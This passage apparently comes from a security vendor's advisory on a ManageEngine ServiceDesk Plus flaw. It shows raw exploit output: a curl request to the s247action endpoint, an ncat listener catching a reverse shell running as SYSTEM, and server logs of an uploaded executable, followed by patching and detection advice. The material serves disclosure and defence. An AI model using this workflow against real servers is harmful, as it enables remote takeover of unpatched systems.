    /***********************************************
    * AnyLink Drop Down Menu- � Dynamic Drive (www.dynamicdrive.com)
    * This notice MUST stay intact for legal use
    * Visit http://www.dynamicdrive.com/ for full source code
    ***********************************************/
    if(!parent.fromIframe){
        var fromIframe='false';
    }
    var isNewpage='null';//No I18N
    var enableEncoding = true;
    if( 'null' == "false" || 'null' == "no" )
    {
  enableEncoding = false;
    }

    var fromIframeAttr = null

    if(fromIframeAttr != null && fromIframeAttr == true) {
    	fromIframe = true;
    }

    function isNewUIPage(){
        var newUIpage = false;
        var pageURL=document.URL;
        if((pageURL.indexOf('/BarcodeScanAction.do') > -1) || (isNewpage.indexOf('true') > -1) ){
            newUIpage = true;
        }
        return newUIpage;
    }
    </script>
    <script type="text/javascript" src="/scripts/IncludeSDPScripts.js?build=11301"></script>
    <script type="text/javascript" src="/components/javascript/Utils.js?build=11301"></script>
    <script>
    parent.sdp_user= JSON.parse('\x7B\x22LOCALE\x22\x3A\x22en_US\x22,\x22TOURS_TOLOAD\x22\x3A\x5B\x5D,\x22ROLES\x22\x3A\x5B\x5D,\x22KB_SHORTCUTS\x22\x3Afalse,\x22USERTIMEZONECODE\x22\x3A\x22America\x2FLos_Angeles\x22,\x22USERTYPE\x22\x3A\x22Requester\x22,\x22DIRECTION\x22\x3A\x22LTR\x22,\x22OFFSET\x22\x3A\x2D28800000,\x22SERVER_OFFSET\x22\x3A\x2D28800000,\x22IS_REQ_PAGE_OPENED\x22\x3A\x22false\x22,\x22DOMAINNAME\x22\x3A\x22\x2D\x22\x7D');
    parent.sdp_app= JSON.parse('\x7B\x22IS_FLOAT_MENU_ENABLED\x22\x3A\x22true\x22,\x22IS_CHAT_ENABLED\x22\x3Atrue,\x22IS_SITE_CONFIGURE\x22\x3Afalse,\x22CURRENCY_SYMBOL\x22\x3A\x22\x24\x22,\x22IS_CT_EMPTY_CRIT_ALLOWED\x22\x3Afalse,\x22IS_SDP\x22\x3Atrue,\x22i18n_info\x22\x3A\x7B\x22esm_js\x22\x3Afalse,\x22portal_js\x22\x3Afalse,\x22portal_id\x22\x3A\x221\x22,\x22esm_ember\x22\x3Afalse,\x22esm_mod\x22\x3A\x22common\x22,\x22portal_ember\x22\x3Afalse\x7D,\x22IS_REMOTE_SERVER\x22\x3Afalse,\x22IS_SDP_CHAT_ENABLED\x22\x3Atrue,\x22IS_CMDB_ENABLED\x22\x3Atrue,\x22themes\x22\x3A\x7B\x22IS_USER_THEME_ENABLED\x22\x3Atrue,\x22TYPE\x22\x3A\x22Blue\x22,\x22FONT_FAMILY\x22\x3A\x22Roboto,\x20Arial\x22\x7D,\x22IS_DEMO_BUILD\x22\x3Afalse,\x22zia_info\x22\x3A\x7B\x7D,\x22IS_TELEPHONY_ENABLED\x22\x3Afalse,\x22IS_PCT_EMPTY_CRIT_ALLOWED\x22\x3Afalse,\x22IS_IMPORT_ALL_ORG_USER\x22\x3Atrue,\x22IS_CHANGE_ENABLED\x22\x3Atrue,\x22IS_MDH_SETUP\x22\x3Afalse,\x22IS_SERVICECATALOG_ENABLED\x22\x3Atrue,\x22NOTIFY_LAST_LOGIN_TIME\x22\x3A\x7B\x22SHOW\x22\x3Afalse\x7D,\x22IS_LDAP_DOMAINBOX_ENABLED\x22\x3Afalse,\x22IS_MSP\x22\x3Afalse,\x22IS_TECH_SPACE_ENABLED\x22\x3Atrue,\x22IS_SDP_EXT_CHAT_ENABLED\x22\x3Afalse,\x22IS_SUPPORT_GROUP_MANDATE\x22\x3Afalse,\x22WEEK_START_DAY\x22\x3A0,\x22MAX_FILE_SIZE\x22\x3A\x2210\x22,\x22PORTAL_ID\x22\x3A1,\x22MAX_ALLOWED_DECIMAL_POINTS\x22\x3A2,\x22IS_CHAT_ENABLED_FOR_USER\x22\x3Atrue,\x22IS_PAGE_NOTIFICATIONS_ENABLED\x22\x3Atrue,\x22IS_PROJECT_ENABLED\x22\x3Atrue,\x22PRODUCT_NAME\x22\x3A\x22ManageEngine\x20ServiceDesk\x20Plus\x22,\x22CLIENT_CONF\x22\x3A\x7B\x22ui\x22\x3A\x7B\x7D,\x22pagescript\x22\x3A\x7B\x22timestamp\x22\x3A\x220\x22\x7D,\x22user_search_options\x22\x3A\x5B\x22name\x22\x5D,\x22RTA\x22\x3A\x7B\x22defaultImageOption\x22\x3A\x22bestfit\x22,\x22fontFamily\x22\x3A\x22Roboto,Verdana\x22,\x22edithtml\x22\x3A\x22true\x22,\x22fontSize\x22\x3A\x2210\x22,\x22fontColor\x22\x3A\x22000\x22\x7D\x7D,\x22IS_AUTO_REQ_CREATE_ENABLED\x22\x3Afalse,\x22IS_TCT_EMPTY_CRIT_ALLOWED\x22\x3Afalse,\x22PUBLIC_KEY_FOR_PWD_ENCRYPTION\x22\x3A\x22MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoDwCjfVlEDqfsR6M\x2FPTHjMXFUor0dovXtYQUeOaxyDQyDphxqntcUctckR9TWDZLYnXvNZB17k3y8bedaEMXxrkGOKYccp7uI7rsG4S7tNWCseJgjyUB4PRGy\x2FyHbUV6eLmfqOArEVGypnKnhSR2OPOBgeO1CJduGYrp7\x2BhTBe4KBE0d9jBIgSz30bftiAIeF5JDz32kSXJfVUpCx4ofs6Tc6Z9Cl9wEQI8deUyZ54JBWSxJ0kiL6yRL1G4LghgSk2WHHQyaTuHf\x2Fx3NCDvDZ7x41yA5DWRhZ8PV8Fc0t7r7Q6CQOV7MT\x2BfM2hsXFQ5Y3PVKB3QhIJCo1dnD6MzC4wIDAQAB\x22,\x22IS_REQUESTER_FN_MN_ENABLED\x22\x3Atrue,\x22IS_AE\x22\x3Afalse,\x22IS_REBRANDED\x22\x3Afalse,\x22BUILD_NUMBER\x22\x3A\x2211301\x22,\x22IS_NEW_REQ_CHAT_ENABLED\x22\x3Atrue,\x22I18nKey_Updated_Time\x22\x3A\x221638911655428\x22,\x22MAX_FILE_ATTACHMENT_SIZE_IN_MB\x22\x3A10\x7D');
    var isCMDB = 'false';
    if(typeof Ember === "undefined"){
      includeSDPStyle('', parent.sdp_user.LOCALE, parent.sdp_app.BUILD_NUMBER, parent.sdp_user.DIRECTION);
      includeSDPScripts('', true, parent.sdp_app.BUILD_NUMBER, parent.sdp_user.LOCALE, parent.sdp_app.i18n_info);
    }
    </script>

<script>
if(window.opener && window.opener.location.href.indexOf("SDPOutlookAddIn.jsp")!=-1){
  window.close();
}
if(window.jQuery)
{
  jQuery.fn.formToJSON = function()
  {
    var jsonObject = {};
    var elementArray = this.serializeArray();
    jQuery.each(elementArray, function()
    {
      if (jsonObject[this.name] !== undefined)
      {
        if (!jsonObject[this.name].push)
        {
                      jsonObject[this.name] = [jsonObject[this.name]];
                  }
                  jsonObject[this.name].push(this.value || '');
      }
      else
      {
                  jsonObject[this.name] = this.value || '';
            }
        });
        return jsonObject;
  };

  jQuery.fn.sortSelectBox = function()
  {
    var defaultText = jQuery("#" + this.attr('id')+ " option[value='-1']").text();//NO I18N
    var siteText = jQuery("#" + this.attr('id')+ " option[value='']").text();//NO I18N
    if(defaultText != "")
    {
      jQuery("#" + this.attr('id')+ " option[value='-1']").remove();//NO I18N
    }
    if(siteText != "")
    {
      jQuery("#" + this.attr('id')+ " option[value='']").remove();//NO I18N
    }
        var sorted_options = jQuery("#" + this.attr('id') + ' option');//NO I18N
        // sort alphabetically
    sorted_options.sort(function(a,b)
    {
      var aText = a.text.toLowerCase();
      var bText = b.text.toLowerCase();
      return aText > bText ? 1 : aText < bText ? -1 : 0;
        })
    jQuery("#" + this.attr('id')).find('option').remove();//NO I18N
    if(siteText != "")
    {
      jQuery("#" + this.attr('id')).append('<option value="">'+siteText+'</option>');//NO I18N
    }
    if(defaultText != "")
    {
      jQuery("#" + this.attr('id')).append('<option value="-1">'+defaultText+'</option>');//NO I18N
    }
    jQuery(this).append( sorted_options );
    jQuery("#" + this.attr('id')).val(jQuery("#" + this.attr('id')+ " option:first").val());//NO I18N
  }


}
var forwardfrom = "";//NO I18N
var isMDHSetup = "false";//NO I18N
var isIThelpdesk = "true"; //NO I18N

function setBodyFont() {
  //setting font - any changes made here should also be done in ember applicaiton/route.js
  var userTheme = parent.sdp_user.CLIENT_CONF.userTheme;
  var font = parent.sdp_app.themes.FONT_FAMILY; //admin set font
  if(parent.sdp_app.themes.IS_USER_THEME_ENABLED && userTheme && userTheme.fontFamily) {
    font = userTheme.fontFamily; //user personalized font
    parent.sdp_app.CLIENT_CONF.RTA.fon<html>
<head>
<title>NTLM Failed Redirecting To Login Page.</title>
<meta http-equiv="Refresh" content="0; URL=&#x2f;AuthError.jsp&#x3f;ErrorMsg&#x3d;sdp.vulnerability.exceptionerror.title">
</head>
<body>
NTLM Failed Redirecting To Login Page..
</body>
</html>
* Connection #0 to host 172.16.57.210 left intact
* Found bundle for host 172.16.57.210: 0x7fef75607fc0 [serially]
* Can not multiplex, even if we wanted to!
* Re-using existing connection! (#0) with host 172.16.57.210
* Connected to 172.16.57.210 (172.16.57.210) port 8080 (#0)
> POST /RestAPI/s247action HTTP/1.1
> Host: 172.16.57.210:8080
> User-Agent: curl/7.80.0
> Accept: */*
> Content-Length: 36
> Content-Type: application/x-www-form-urlencoded
>
* Operation timed out after 3500 milliseconds with 0 bytes received
* Closing connection 0
curl: (28) Operation timed out after 3500 milliseconds with 0 bytes received
wvu@kharak:~/rapid7/metasploit-framework:master$
wvu@kharak:~$ rlwrap -r ncat -lkv 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.16.57.210.
Ncat: Connection from 172.16.57.210:50061.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Program Files\ManageEngine\ServiceDesk\site24x7>whoami
whoami
nt authority\system

C:\Program Files\ManageEngine\ServiceDesk\site24x7>

(This is the serverout0.txt log file.) The msiexec.exe binary is dropped in the bin folder.

[10:51:55:405]|[12-08-2021]|[com.adventnet.servicedesk.setup.action.ImportTechniciansAction]|[INFO]|[62]: Inside ImportTechniciansAction|
[10:51:55:405]|[12-08-2021]|[com.adventnet.servicedesk.setup.action.ImportTechniciansAction]|[INFO]|[62]: step is :hax |
[10:51:55:420]|[12-08-2021]|[com.adventnet.servicedesk.setup.action.ImportTechniciansAction]|[INFO]|[62]: fileName is : msiexec.exe|
[10:51:55:420]|[12-08-2021]|[com.adventnet.servicedesk.setup.action.ImportTechniciansAction]|[INFO]|[62]: headers are : [MZ�         ��  �       @                                   �     �  � �!� L�!This program cannot be run in DOS mode.]|

Guidance

Rapid7 advises organizations that utilize any of the impacted versions listed above patch on an emergency basis, utilize Zoho’s exploit detection tool, and review CISA’s documentation of IOCs to determine whether a specific installation has been compromised. Additionally, we recommend that access to these products should exist behind a VPN and organizations immediately stay up to date on software versions. Attackers have had enough critical vulnerabilities of late to build a bit of a skillset in understanding how the Zoho software works, so future vulnerabilities will only be exploited even faster.

Resources